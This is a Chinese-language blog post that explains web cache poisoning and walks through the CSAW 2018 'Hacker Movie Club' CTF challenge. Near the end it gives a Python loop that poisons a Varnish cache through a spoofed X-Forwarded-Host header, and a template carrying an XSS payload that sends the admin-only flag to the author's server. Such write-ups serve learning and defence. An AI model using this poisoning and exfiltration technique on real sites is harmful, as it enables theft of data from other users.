web 缓存

网站通常都会通过如CDN、负载均衡器、或者反向代理来实现Web缓存功能。通过缓存频繁访问的文件,降低服务器响应延迟。 Web缓存服务器位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。因此,用户在访问过一次源站时,后续访问将会从缓存服务器中获取静态资源,加快访问速度

image

缓存投毒

Web缓存投毒是发送恶意请求,该响应将保存在缓存服务中并提供给其他用户,当用户请求这个资源的时候,就会中招

image

Web缓存投毒有无键输入(如HTTP标头)来进行网页缓存投毒,不过这不是网页缓存投毒的唯一方法,也可以使用HTTP响应拆分攻击(HTTP Response Splitting)和Tomcat请求漏洞(Request Smuggling)

Hacker Movie Club

简单的提了下Web缓存投毒后,直接以CTF题目为案例来实践一下

打开后发现请求了cdn.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

在head里

1
2
</script><script data-src="mustache.min.js" data-cdn="6d7206a1afde197a248300f34be35d47c4bf1da6.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="6d7206a1afde197a248300f34be35d47c4bf1da6.hm.vulnerable.services"></script>

访问xxxxxx/cdn/app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//6d7206a1afde197a248300f34be35d47c4bf1da6.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});

访问main.mst

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
  {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
  {{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

是个模板文件,访问/api/movies

1
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

理下流程,请求cdn.js,获得cdn地址,然后请求xxx/cdn/app.js,然后分别i请求/api/movies 和 xxx/cdn/main.mst,将获取到的movie列表中admin_only为false的填充到模板中,并且还有个report,猜测是让管理员访问当前页面,所以admin_only为true的电影名字应该就是flag

那么怎么才能在当前页面中插入xss payload?查看app.js的响应头

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Accept-Ranges: bytes
Access-Control-Allow-Headers: X-Forwarded-Host
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 21600
Age: 10
Connection: keep-alive
Content-Length: 1631
Content-Type: application/javascript
Date: Tue, 18 Sep 2018 05:03:13 GMT
Server: gunicorn/19.9.0
Via: 1.1 varnish-v4
X-Varnish: 157406138 157591033

发现使用了varnish,再结合之前cdn,可以确定,main.mst是保存在缓存服务器中的,age就是保存的时长,当age超过一定大小后,会根据cdn.js中的代码,猜测app.js根据X-Forwarded-Host来生成自身

1
2
3
4
5
fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
      ...

所以尝试一直请求app.js,发现age不断的+1s,直到120的时候

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests

X_Forwarded_Host = '8.8.8.8' 

while True:
    resp = requests.get("http://6d7206a1afde197a248300f34be35d47c4bf1da6.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break

image

哇塞,猜想正确

所以在自己的vps上创建cdn/main.mst,在其中插入一段xss payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://8.8.8.8/'+'{{#movies}}{{ name }}{{/movies}}')">

然后打开页面,发现页面被跨域拦了,所以赶紧配置vps加上Access-Control-Allow-Origin "*"

万事俱备,打开页面,report,在vps上拿到flag


参考

https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/

https://portswigger.net/blog/practical-web-cache-poisoning